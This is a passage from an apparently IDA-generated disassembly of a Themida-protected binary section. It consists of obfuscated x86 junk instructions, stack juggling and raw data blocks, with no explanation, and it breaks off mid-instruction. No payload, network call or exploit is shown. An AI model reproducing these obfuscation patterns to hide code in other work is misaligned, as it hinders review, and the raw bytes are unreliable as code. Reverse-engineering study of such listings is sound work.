245C0100h, 68595B04h dd 5569h, 0FF7062E9h, 0E9DE29FFh, 0FFFF56B9h, 0E621E205h dd 0DF16E930h, 9D2CFFFFh, 0FF1688E9h, 0C2BE56FFh, 0F70E5A4Ch dd 0A6DBE9DEh, 0E981FFFFh, 1, 2D054891h, 8193BF22h, 245387C2h dd 69EA8173h, 16FFC32h, 11E953C2h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573F03: ; CODE XREF: Themida_:0056BCF3j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] push eax mov eax, 2ECD3AA0h dec eax dec eax inc eax jmp loc_57379A ; --------------------------------------------------------------------------- dd 8B2434FFh, 52522404h, 0FF1B37E9h, 0C5895BFFh, 7EDC158h dd 0C107E5C1h, 0AB6805E5h, 89000062h, 0B5BF243Ch, 31737A34h dd 0EE215FFDh, 0FFAAB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_573F51: ; CODE XREF: Themida_:0056C381j shl esi, 3 sub esi, 7780710Fh push ebp push ecx jmp loc_572E0A ; --------------------------------------------------------------------------- db 55h, 0BDh, 9Ah dd 2957BA67h, 242C8BEAh, 4C481h, 0C8B0000h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 2BF57h, 0B8500000h dd 386E6F88h, 0EA68D0F7h, 89000054h, 0B7BD242Ch, 1539AD7h dd 0C2015DE8h, 38AE958h, 0E9AD0000h, 0FFFFD33Bh, 405E089h dd 83000000h, 48704C0h, 81575C24h, 4ECh, 24048900h, 14036856h dd 0E95E7220h, 0FFFEF29Dh, 4AD368h, 24148900h, 0FF1270E9h dd 4C381FFh, 50000000h, 4B8h, 0BA525100h, 0BD06661h, 376EF281h dd 0D18945E5h, 81D9F75Ah, 48223CF1h, 0C181495Bh, 749D6BB0h dd 0CA5EE981h, 0ABE91767h, 57FFFF19h, 4BFh, 0E106E900h dd 0D129FFFEh, 16F6C181h, 0E95A75E9h, 0FFFFBC90h, 0C381D301h dd 63683867h, 5870EB81h, 535A132Fh, 42474FFh, 51241C8Bh dd 0C181E189h, 4, 4C181h, 42E90000h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57405F: ; CODE XREF: Themida_:0056308Fj pop eax add ebx, edi pop edi xchg ebx, [esp] jmp loc_565EBE ; --------------------------------------------------------------------------- loc_57406B: ; CODE XREF: Themida_:0056D441j add ebx, 4 add ebx, 4 jmp loc_5734F5 ; --------------------------------------------------------------------------- loc_57407C: ; CODE XREF: Themida_:005736A0j add ebx, 73697D6Fh push 2B1Ch mov [esp], edx pop dword ptr [ebx] jmp loc_574873 ; --------------------------------------------------------------------------- align 2 dw 0FFCBh dd 0E9592434h, 0FFFFB127h, 240C8B66h, 3011E957h, 97E9FFFFh db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5740AB: ; CODE XREF: Themida_:005737DEj mov [esp], esi push dword ptr [esp+4] mov esi, [esp] push 1662h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56C95F ; --------------------------------------------------------------------------- dd 7467CF81h, 0B0E94BFAh, 83FFFEFAh, 6FE904C4h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5740E3: ; CODE XREF: Themida_:00564088j add edi, 4 xchg edi, [esp] pop esp or edi, 7F03460Ah inc edi push edi jmp loc_5632CF ; --------------------------------------------------------------------------- db 29h dd 0FD895AD7h, 8A1E95Fh, 835AFFFFh, 0BF5704C4h, 40864CAFh dd 0FFD21EE9h, 0BB535FFFh, 4, 20E9DE01h, 4FFFFC0h, 52F3049Fh dd 1255E9h, 0E9EA3000h, 2179h, 0C59C181h, 0BE560CC0h, 262C43D9h dd 0EA0FE946h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574142: ; CODE XREF: Themida_:005637FAj sub edx, ecx jmp loc_5746B7 ; --------------------------------------------------------------------------- db 2 dup(56h), 0BEh dd 3984001Ch, 4246C81h, 1DDA0C5Ch, 0FFFCF1E9h, 81E589FFh dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFCB2Eh, 8124148Bh, 4C4h dd 4C48100h, 57000000h, 4BFh, 5FFD2900h, 8B242C87h, 14892424h dd 154BE924h, 1489FFFFh, 373C6824h, 0F75A79D3h, 4CEA81DAh dd 0E9365212h, 0FFFFC382h, 83241C8Bh, 0B95104C4h, 4, 77E9CB01h dd 55FFFFDCh, 0D71DE951h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5741C6: ; CODE XREF: Themida_:00562B95j add eax, 0EE55D3Fh push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edi push esi mov esi, 2F8C540Dh mov edi, esi pop esi or edi, 5A417B2h jmp loc_562668 ; --------------------------------------------------------------------------- loc_5741F1: ; CODE XREF: Themida_:0056D4E4j push 1D0Ah mov [esp], esi push dword ptr [esp] jmp loc_575B0C ; --------------------------------------------------------------------------- loc_574201: ; CODE XREF: Themida_:005660EAj pop ebx add edi, 0DA61D97Dh and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_575CF1 ; --------------------------------------------------------------------------- db 28h dd 46E958C3h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574223: ; CODE XREF: Themida_:005657F1j sub ecx, 0EA96BCE3h or ebx, ecx pop ecx shl ebx, 2 shr ebx, 1 xchg edx, ebx jmp loc_562027 ; --------------------------------------------------------------------------- loc_574238: ; CODE XREF: Themida_:0057522Bj add esp, 4 jmp loc_562512 ; --------------------------------------------------------------------------- dd 24148B58h, 0E904C483h, 2836h ; --------------------------------------------------------------------------- loc_57424C: ; CODE XREF: Themida_:005639CEj push esp pop eax add eax, 4 push esi mov esi, 4 add eax, esi pop esi jmp loc_57496F ; --------------------------------------------------------------------------- loc_574261: ; CODE XREF: Themida_:00568880j dec eax jmp loc_56AEDD ; --------------------------------------------------------------------------- db 89h dd 29BA2414h, 1A67FD4h, 0C7815AD0h, 27C7375Dh, 0EF81C701h dd 27C7375Dh, 8124048Bh, 4C4h, 4BA5200h, 1000000h, 3C335AD7h dd 243C3124h, 0FF2E66E9h, 167EBFFFh, 0D2E95839h, 5F000015h dd 0FF49F2E9h, 0E9DEF6FFh, 0FFFEDEBBh, 8124348Bh, 4C4h dd 51F80100h, 804CA7B9h, 0F2E98134h, 1231635h, 875F59C8h dd 248B2404h, 4EC8124h, 0E9000000h, 0FFFFCB14h, 0ABC5815Fh dd 11C9771h, 0C172E9C5h, 30FFFFFFh, 0FEDF19E9h db 0FFh ; --------------------------------------------------------------------------- loc_5742F5: ; CODE XREF: Themida_:00568199j mov edi, esi jmp loc_56D937 ; --------------------------------------------------------------------------- dd 0BB534E58h, 714A3F2Fh, 1C8BDE09h, 0E1895124h, 4C181h dd 0C1810000h, 4, 0FF2DA1E9h, 0BB5357FFh, 6B5D6EA8h, 0C15BDF89h dd 0EC8105EFh, 4, 0E9243489h, 0FFFFBE29h, 0D2E9FA01h, 4DFFFFC1h dd 0EDC1D5F7h, 47B85004h, 0E918C7F7h, 0FFFF0541h, 8704E983h dd 0E95C240Ch, 666h, 0F7665566h, 5D662414h, 0FFF9C7E9h dd 0C1DFF7FFh, 0CFE904EFh, 87FFFF60h, 61E9243Ch db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57437B: ; CODE XREF: Themida_:005663D1j shl ecx, 4 shr ecx, 5 xor ecx, eax xor eax, ecx xor ecx, eax not eax push ecx push eax pop ecx pop eax shl ecx, 7 sub esp, 4 mov [esp], esi mov esi, 8379F100h jmp loc_570129 ; --------------------------------------------------------------------------- dd 6143B850h, 0C1056603h, 0E999FC9Eh, 0FFFF3973h, 18E7815Ch dd 503B397Ah, 0FF48A7E9h, 377C68FFh, 0A7E90000h, 81FFFFB9h dd 4EDh, 242C3300h, 0E9242C31h, 0FFFEF830h, 2823F380h dd 0B7E95BD8h, 2DFFFEE1h, 24932526h, 84E9F001h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_5743EF: ; CODE XREF: Themida_:0056A674j push 776B1900h jmp loc_569293 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 3C870000h, 24248B24h, 0E99CC884h, 0FFFECC32h dd 0C181E189h, 4, 0FEF22AE9h, 6F0B2DFFh, 0CD2D41F3h, 2D5C841Ah dd 6E564AF1h, 0FF3CCDE9h, 4BA52FFh, 89000000h, 5B2D5AD6h dd 12E5445h, 0CE9FE9F0h, 0EF81FFFFh, 24F917AAh, 0FF7C1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_574451: ; CODE XREF: Themida_:0056C907j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_56F639 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 4C481h, 0E9530000h, 0FFFF4BA6h, 0E92434FFh dd 0FFFEF417h, 755CE381h, 314B19BCh, 0E6F7E9FBh, 74FFFFFFh dd 0E9E90424h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574497: ; CODE XREF: Themida_:00572760j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp or eax, eax jz loc_56FA51 push edi mov edi, esp add edi, 4 push 2D8Ah mov [esp], esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] mov esp, [esp] mov [esp], edx jmp loc_57577D ; --------------------------------------------------------------------------- db 68h, 44h, 7Ah dd 0D15D1DA6h, 0CD8145E5h, 156AE7h, 0FF055CE9h, 243489FFh dd 23E95E57h, 55FFFFD1h, 0C5815D54h, 4, 4C581h, 0F1E90000h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57450B: ; CODE XREF: Themida_:0056BC19j and eax, ecx mov ecx, [esp] jmp loc_564523 ; --------------------------------------------------------------------------- db 68h, 8Dh, 0Ch dd 1C890000h, 0FDB15124h, 0FFCB20E9h, 164FBBFFh, 0FE977D7h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_57452F: ; CODE XREF: Themida_:00567CFFj mov ebp, [esp] add esp, 4 sub esi, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx push ebx mov ebx, 4 jmp loc_572461 ; --------------------------------------------------------------------------- dw 0C9BFh dd 29219D79h, 0E908247Ch, 0FFFF41BDh, 13E4CF81h, 0EF810CD3h dd 9CDBBBEBh, 0EAE9FE01h, 5FFFFAAh, 24932526h, 0FFB001E9h dd 55854FFh, 4, 486068h, 24348900h, 0FFFEA0E9h, 0AE95FFFh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574597: ; CODE XREF: Themida_:0056AEC4j pop ebp add ebp, 4 push 45BBh jmp loc_56A51E ; --------------------------------------------------------------------------- dd 31240431h, 31C131C8h, 68D1F7C8h, 7091h, 89240C89h, 4C181E1h dd 0E9000000h, 0FFFFFD88h ; --------------------------------------------------------------------------- loc_5745C8: ; CODE XREF: Themida_:0056A390j add edx, 0FC86209Eh jmp loc_56F2B8 ; --------------------------------------------------------------------------- db 87h dd 7FE9240Ch, 89FFFFE6h, 8B54242Ch, 8952242Ch, 4C281E2h dd 81000000h, 4C2h, 24148700h, 7A05E95Ch, 0E959FFFFh, 224Bh dd 8304C483h, 436804C4h, 89000001h, 0EC81241Ch, 4, 0E9240489h dd 0FFFFEBE7h, 53D1F65Ah, 5DE95455h db 0E8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574627: ; CODE XREF: Themida_:00576846j pop ecx or edx, 3FB41D85h push 0 sub [esp], edx jmp loc_57635F ; --------------------------------------------------------------------------- db 89h dd 77BD242Ch, 8139AA5Fh, 0D52454F5h, 0A92E932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_57464E: ; CODE XREF: Themida_:00567747j pop esp mov [esp], edx mov edx, 7E5D2E59h mov edi, 4033586Fh xor edi, edx mov edx, [esp] add esp, 4 push edx mov edx, 461C7F06h and edi, edx jmp loc_564CA7 ; --------------------------------------------------------------------------- loc_574674: ; CODE XREF: Themida_:0056A6DEj push dword ptr [esp+4] pop edi jmp loc_562AE1 ; --------------------------------------------------------------------------- dw 55Fh dd 7A18017Fh, 0FFDCABE9h db 0FFh ; --------------------------------------------------------------------------- loc_574689: ; CODE XREF: Themida_:00568E0Bj mov edi, [esp] sub esp, 4 mov [esp], edx push esp mov edx, [esp] jmp loc_56EABB ; --------------------------------------------------------------------------- loc_57469E: ; CODE XREF: Themida_:005679F5j add ebp, 4 jmp loc_561DAD ; --------------------------------------------------------------------------- dw 0D8F7h dd 0A33F5205h, 62B1357Dh, 51E93A2Ch db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5746B7: ; CODE XREF: Themida_:00574144j pop ecx sub esi, 4F4F1128h jmp loc_574830 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24348B00h, 4C481h, 0C0830000h, 74FF5002h, 41E90424h dd 89FFFF03h, 321CE9E0h, 0E789FFFFh, 4C781h, 85E90000h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5746F3: ; CODE XREF: Themida_:00561F59j push edx mov edx, esp add edx, 4 jmp loc_5612F6 ; --------------------------------------------------------------------------- loc_574701: ; CODE XREF: Themida_:005769C2j pop ebx dec ebx jmp loc_573573 ; --------------------------------------------------------------------------- dd 0EF97E950h, 0F781FFFFh, 7C674AEBh, 0FF92B2E9h, 89DA29FFh dd 0BDE95AD3h, 0BFFFFF56h, 646C6CAFh, 2414F757h, 4CEF815Fh dd 2D9B9393h, 2D27084Bh, 0FEC943E9h, 615DBEFFh, 0F589261Fh dd 93ED815Eh, 81640734h, 965CFDF5h, 8AECE938h, 0C383FFFFh dd 74FF5304h, 8F5B0424h, 8B5C2404h, 0EC812404h, 4, 54241C89h dd 4B9515Bh, 81000000h, 9F7824EBh, 0E9CB0106h, 1E49h, 303BC780h dd 0E3285BFCh, 8324048Bh, 0C32804C4h, 50B2C380h, 0E9E6B252h dd 0FFFF3F4Dh ; --------------------------------------------------------------------------- loc_5747A0: ; CODE XREF: Themida_:00570D5Dj add dword ptr [esp], 4 pop edi add edi, 4 jmp loc_56F6C0 ; --------------------------------------------------------------------------- db 81h dd 0D41CBBCBh, 0E7D7E979h, 0EA81FFFFh, 70D045FAh, 3B4AC281h dd 815B22F3h, 6F4B56EAh, 55EA015Dh, 6F4B56BDh, 5DEA015Dh dd 174BB850h, 0C20138B9h, 0FF6E8CE9h, 28E951FFh, 0F6FFFF55h dd 6E3C0D3h, 0E94FEB80h, 0FFFF722Fh, 706668h, 241C8900h dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 0E99CC83Bh dd 0FFFEC826h ; --------------------------------------------------------------------------- loc_57481C: ; CODE XREF: Themida_:005672D7j pop ebp add esi, 4 xchg esi, [esp] mov esp, [esp] push 6CAAh jmp loc_570897 ; --------------------------------------------------------------------------- loc_574830: ; CODE XREF: Themida_:005746BEj sub esi, edx add esi, 4F4F1128h pop edx jmp loc_56B9D6 ; --------------------------------------------------------------------------- loc_57483E: ; CODE XREF: Themida_:00572B75j mov [esp], esi mov esi, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5610FF ; --------------------------------------------------------------------------- db 81h dd 0EA3139F5h, 0A2C3811Dh, 29576410h, 0A2EB81EBh, 8B576410h dd 0AEE9242Ch db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574873: ; CODE XREF: Themida_:0057408Cj push dword ptr [esp] mov ebx, [esp] jmp loc_56D8F6 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 50241C89h, 8841B652h, 31E95AF4h, 81FFFEF6h, 2C4h dd 0C7A4E900h, 0C801FFFEh, 2D683B05h, 2BB6E920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5748AA: ; CODE XREF: Themida_:0056AE76j push ebx push esi mov esi, 67D877B0h jmp loc_562252 ; --------------------------------------------------------------------------- dw 0F381h dd 4D02790h, 29AAF381h, 0E1E91BF6h, 0F7FFFFD9h, 56E2D1DAh dd 5D196CBEh, 0E9F2310Eh, 0FFFF725Bh, 0EF81DFF7h, 3BC1A110h dd 2EEDC181h, 8AE963E2h, 81000012h, 4C5h, 242C3300h, 33242C31h dd 565C242Ch, 0AF0575BEh, 71EE817Dh, 17DAF05h, 81555EF7h dd 4ECh, 24348900h, 0FB36B7BEh, 0DB0BD28h, 0F5314B27h dd 0FEFDB3E9h, 0C48158FFh, 4, 15E9CA21h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574933: ; CODE XREF: Themida_:00564502j xchg esi, [esp] mov esp, [esp] push eax mov eax, esp push esi jmp loc_56D6FD ; --------------------------------------------------------------------------- dw 5053h dd 0B4E98FB4h, 0BFFFFF25h, 0BC7282Bh, 0B96C781h, 0EF8159D4h dd 6DC03EADh, 2009E781h, 56534B98h, 541910BEh, 9AE94628h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57496F: ; CODE XREF: Themida_:0057425Cj xchg eax, [esp] pop esp xchg edi, [esp] pop esp push eax mov eax, 6DCB40C2h shl eax, 4 sub esp, 4 jmp loc_564FB0 ; --------------------------------------------------------------------------- db 50h dd 0FEEA8EE9h, 4EC83FFh, 0B7241C89h, 5BF920A9h, 80BBF180h dd 0C704E5F1h, 0BDE9A104h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5749AB: ; CODE XREF: Themida_:00571BCEj mov [esp], eax jmp loc_563EE8 ; --------------------------------------------------------------------------- db 0BAh dd 689C10F6h, 15AD301h, 51EAE9F3h, 489FFFFh, 4EC8124h dd 89000000h, 48B240Ch, 4C48324h, 51240C8Bh, 0C181E189h dd 4, 4E981h, 1BE90000h, 89FFFF26h, 5FE92434h, 8300000Ch dd 0C8702C1h, 24248B24h, 0FFDA02E9h, 435D68FFh, 34890000h db 24h, 54h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_564EB0 ; --------------------------------------------------------------------------- loc_574A13: ; CODE XREF: Themida_:00563F8Aj pop edx push edi mov edi, 4BB811B8h or edi, 9F5697Bh jmp loc_5753E4 ; --------------------------------------------------------------------------- db 31h, 0F7h, 5Eh dd 0E906EFC1h, 0FFFEE13Bh ; --------------------------------------------------------------------------- loc_574A30: ; CODE XREF: Themida_:0056E044j push edx sub esp, 4 mov [esp], esp jmp loc_57504A ; --------------------------------------------------------------------------- loc_574A3C: ; CODE XREF: Themida_:00575C7Ej pop ecx sub esp, 4 jmp loc_5653BE ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0F7h dd 980EE9D9h, 0C89FFFFh, 0E0BE5624h, 0E9688D63h, 0FFFECC54h dd 8B241CF7h, 8EE92414h, 0B5FFFFE7h, 0D156E9C5h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574A6E: ; CODE XREF: Themida_:005700ADj mov ebp, ecx pop ecx not ebp sub ebp, 11CD4C4Ch push 753Ah mov [esp], ecx push 932A978Eh pop ecx xor ebp, ecx push dword ptr [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push eax jmp loc_5753B1 ; --------------------------------------------------------------------------- loc_574AA4: ; CODE XREF: Themida_:00575D69j pop ecx push esi mov esi, 4B2E534Ch add esi, 184A3D46h push ecx push edi mov edi, 7447BD6Fh jmp loc_561A10 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 98h dd 0FFFFFF2Fh, 0E9592434h, 0FFFF27D7h ; --------------------------------------------------------------------------- loc_574ACC: ; CODE XREF: Themida_:005665A3j dec ecx add ecx, 79556B97h add ecx, 53C67EF7h add esi, ecx pop ecx inc esi xor esi, 19EC6666h xor esi, 9D3B6917h xor eax, esi pop esi jmp loc_572883 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0E90000h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574AFB: ; CODE XREF: Themida_:00573D64j pop esp push ebp push ebx push 4A010B6Fh jmp loc_56CF66 ; --------------------------------------------------------------------------- loc_574B08: ; CODE XREF: Themida_:0056F521j sub edi, 613E29A4h sub edi, 4EDC6431h push edx jmp loc_569E6F ; --------------------------------------------------------------------------- dw 0CF81h dd 5A127DA6h, 7F15C781h, 0FA896E81h, 607BE95Fh, 475FFFFFh dd 23B5EF81h, 0FB89CBD4h, 0E658E95Fh, 295CFFFFh, 0E904247Ch dd 0FFFFD61Fh, 0E9240C89h, 1233h ; --------------------------------------------------------------------------- loc_574B50: ; CODE XREF: Themida_:005720AEj add esi, 190DE946h push esi xor dword ptr [esp], 68451DDBh jmp loc_56B3DE ; --------------------------------------------------------------------------- db 33h dd 248B2404h, 2274E924h, 3489FFFFh, 0E95E5424h, 0FFFFC982h dd 2756C681h, 0B9E95AB4h, 0ADFFFEEFh, 33204B2Dh, 68D8297Ah dd 1EDh, 0B9240C89h, 16540917h, 6E2CE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574B9E: ; CODE XREF: Themida_:005639DBj pop eax jmp loc_567261 ; --------------------------------------------------------------------------- dd 0E951D4F6h, 0FFFF492Bh ; --------------------------------------------------------------------------- loc_574BAC: ; CODE XREF: Themida_:00566996j push dword ptr [esp] pop esi sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_564E70 ; --------------------------------------------------------------------------- dw 5854h dd 405h, 604AE900h, 0D2F7FFFFh, 0FF3CF0E9h, 0BF5756FFh dd 0DB44AE3h, 6571F781h, 0FBE972A6h, 54FFFF9Fh, 0FF79F8E9h dd 240CFFFFh, 55FE99Ch, 0F381FFFFh, 265A1134h, 4F30C381h dd 814B269Ah, 59D88AC3h, 5BDA291Fh, 36BEEA81h, 0C20117F4h dd 36BEC281h, 0C28117F4h, 5C673EF3h, 57D3BF57h, 0FA012D5Dh dd 67C2815Fh, 8B34B560h, 0C4832404h, 841DE904h, 0EC81FFFFh dd 4, 0FF5985E9h, 0C3F4E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574C4E: ; CODE XREF: Themida_:00568D64j add dword ptr [esp], 6BEA75D1h add dword ptr [esp], 0DD76901h pop eax or eax, 3BEF145Ah add eax, 0FFFFFFFFh not eax add eax, 8DCEA06h xor esi, eax mov eax, [esp] add esp, 4 sub edx, esi push dword ptr [esp] pop esi add esp, 4 xor edx, edi pop edi loc_574C86: ; CODE XREF: Themida_:00562AB2j ; Themida_:00571020j push dword ptr [edi+24h] push 6A18h mov [esp], edi push ebp jmp loc_575D9E ; --------------------------------------------------------------------------- loc_574C97: ; CODE XREF: Themida_:0056B3BCj sub edx, 2 jmp loc_56A151 ; --------------------------------------------------------------------------- loc_574CA2: ; CODE XREF: Themida_:00573264j pop ebx push edx mov edx, 4 add ebx, edx pop edx jmp loc_56BCE7 ; --------------------------------------------------------------------------- loc_574CB1: ; CODE XREF: Themida_:0056C9EFj pop edi jmp loc_56C784 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0BA525B00h, 0D874365h, 6E83E281h, 0C2812B59h dd 760E35B9h, 6F55E281h, 0C3E93345h, 68FFFFD2h, 3796h dd 0FF243C89h, 5F042474h, 8B24048Fh, 8B662424h, 2D682404h dd 89000067h, 8B54242Ch, 8951242Ch, 0F8CBE9E1h, 8F5BFFFEh dd 248B2404h, 33B5E924h, 0D001FFFFh, 0BF57515Ah, 3B3C7175h dd 0FFAB2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_574D25: ; CODE XREF: Themida_:0056F2D8j push ebp sub dword ptr [esp], 66CD6CCFh jmp loc_5769D8 ; --------------------------------------------------------------------------- dw 148Bh dd 73CFE924h, 1C34FFFFh, 0C630A72Ch, 8BF02858h, 0C4812414h dd 4, 0FFFBF1E9h, 0C2ECE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574D56: ; CODE XREF: Themida_:00571131j add ebp, ecx sub ebp, 67045F6Eh jmp loc_56C6A1 ; --------------------------------------------------------------------------- db 89h dd 6856242Ch, 627254C2h, 1C6815Eh, 89FACB9Dh, 24348BF5h dd 4C481h, 0E8010000h, 0FEF063E9h db 0FFh ; --------------------------------------------------------------------------- loc_574D85: ; CODE XREF: Themida_:00564C8Bj mov [esp], ecx push ecx jmp loc_56D22F ; --------------------------------------------------------------------------- dw 0E6C0h dd 2EC68005h, 82EEE80h, 0D7F65AF7h, 80BFCF80h, 0D8E908F7h dd 0B1FFFFEDh, 3E9C0DBh, 5004E1C0h, 0EC800CB4h, 0D9ADE90Bh dd 6866FFFEh, 89660094h, 47E92414h, 0FFFFFF6Ch, 5E042474h dd 5C24048Fh, 192268h, 24348900h, 5F2434FFh, 23AF68h, 241C8900h dd 0C389E954h, 0E901FFFFh, 543E981h, 15D36CDh, 505159C8h dd 0FF4442E9h, 0E95059FFh, 0FFFFF8DBh, 27856853h, 0E95B68E5h dd 0FFFFD73Bh ; --------------------------------------------------------------------------- loc_574E10: ; CODE XREF: Themida_:00569ABAj add ebx, 1A7A58B7h push eax mov eax, esp add eax, 4 jmp loc_571561 ; --------------------------------------------------------------------------- db 8Bh dd 0E9532424h, 0FFFF807Bh, 81240C8Bh, 4C4h, 0A5BA5200h dd 0C110842Ch, 0E2C104EAh, 0AB62E902h, 8158FFFFh, 0EB0843C5h dd 81CD012Eh, 0EB0843EDh, 0F581592Eh, 75682A42h, 0E95DEE01h dd 0FFFF8376h, 0E389535Eh, 0FF8215E9h, 0E9F289FFh, 107Fh dd 7B1DE953h, 0E868FFFFh, 8900001Bh, 0EC812424h, 4, 68240C89h dd 4, 592434FFh, 6804C483h, 482Fh, 53243C89h, 0FF19FEE9h dd 92C381FFh, 81210F20h, 7517FBEBh, 0C3835A62h, 74FF5302h dd 8F5B0424h, 248B2404h, 48B6624h, 0E2895224h, 1E11E955h dd 0C8BFFFFh, 0E094E924h, 5BFFFEh, 240C8BE8h, 0FEC8C0E9h dd 246C81FFh, 0CC0E2404h, 245C0137h, 24448104h, 0CC0E2404h dd 24448137h, 7B121704h, 0D14CE968h, 1E05FFFFh, 682D314Dh dd 729Ah, 68241489h, 6E01h, 68243489h, 2D0414DEh, 0FF1069E9h dd 0E9D2F7FFh, 0FFFFE210h, 148BF588h, 4C48324h, 51DD0458h dd 58E968B5h, 51FFFF67h, 0A75174B9h, 7E9C11Dh, 0FFC8D8E9h dd 685954FFh, 2763h, 55241489h, 4BDh, 5DEA8900h, 0E95AD101h dd 0FFFF6B02h, 5EC680h, 428BE9F3h, 0EA29FFFFh, 0E9D1315Dh dd 0FFFFDFC3h, 0C381CB29h, 4AA60B90h, 845E9h, 6ABB5300h dd 0F740BF0Bh, 8E3C1D3h, 0FF47E8E9h, 2E1DBFFFh, 0F8294230h dd 2C8F2D5Fh, 0A60563B6h, 0E94E2121h, 0FFFEEC83h ; --------------------------------------------------------------------------- loc_574FAC: ; CODE XREF: Themida_:00570B5Ej pop eax and eax, esi pop esi or eax, eax jz loc_56288F push edx push esp jmp loc_56A60D ; --------------------------------------------------------------------------- db 88h dd 0FD2C5BD9h, 0F6E9C828h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574FCB: ; CODE XREF: Themida_:00562996j mov [esp], ebp push edi mov edi, 0FFFFFFFFh mov ebp, edi mov edi, [esp] push 7707h mov [esp], edx jmp loc_566E98 ; --------------------------------------------------------------------------- dw 0D800h dd 0E9575352h, 0FFFEDD47h, 29B368h, 242C8900h, 0FF9A22E9h db 0FFh ; --------------------------------------------------------------------------- loc_574FFD: ; CODE XREF: Themida_:005667F1j pop ecx sub ebx, edx jmp loc_56E3E6 ; --------------------------------------------------------------------------- loc_575005: ; CODE XREF: Themida_:00567AD5j pop esp jmp loc_573801 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 8704C183h, 895C240Ch, 2434FFD8h, 4C4835Bh dd 34FFC501h, 0C4835824h, 74FF5504h, 2C8B0424h, 4C48324h dd 8B24048Fh, 8B662424h, 8952240Ch, 54A5E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57504A: ; CODE XREF: Themida_:00574A37j add dword ptr [esp], 4 jmp loc_56ED30 ; --------------------------------------------------------------------------- loc_575053: ; CODE XREF: Themida_:0056F6B3j mov ebx, 4 sub edx, 7FE77FC4h add edx, 3AD360C9h add edx, ebx jmp loc_565851 ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 0FFFEBFCEh, 175068h, 240C8900h, 0EC30BBB5h dd 0E9DCF659h, 0CADh, 0E9241487h, 0FFFFBDECh ; --------------------------------------------------------------------------- loc_575090: ; CODE XREF: Themida_:00561392j xor edi, 731432DBh or edi, 4B5B52DBh xor edi, 7B7F76FBh add ebp, edi jmp loc_56A09F ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 80344AB8h, 58C3295Dh, 0E9243C8Bh, 0FFFF79AAh, 815E5456h dd 4C6h, 4EC8300h, 0E9241489h, 0FFFF19AAh ; --------------------------------------------------------------------------- loc_5750D0: ; CODE XREF: Themida_:00563EF5j xor edi, ebx sub esp, 4 mov [esp], ebx jmp loc_57011F ; --------------------------------------------------------------------------- dd 0BB53D5F7h, 5D772A59h, 7E26ED81h, 0DD017095h, 7E26C581h dd 815B7095h, 0F7AF31EDh, 4EC8351h, 55241C89h, 944C3F68h dd 0BA525D62h, 0EC360D1h, 94E9D509h, 0AD000001h, 8F06772Dh dd 26FC056Ah, 0D0E97EBFh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575127: ; CODE XREF: Themida_:00571C10j sub esi, 4 push esi push dword ptr [esp+4] jmp 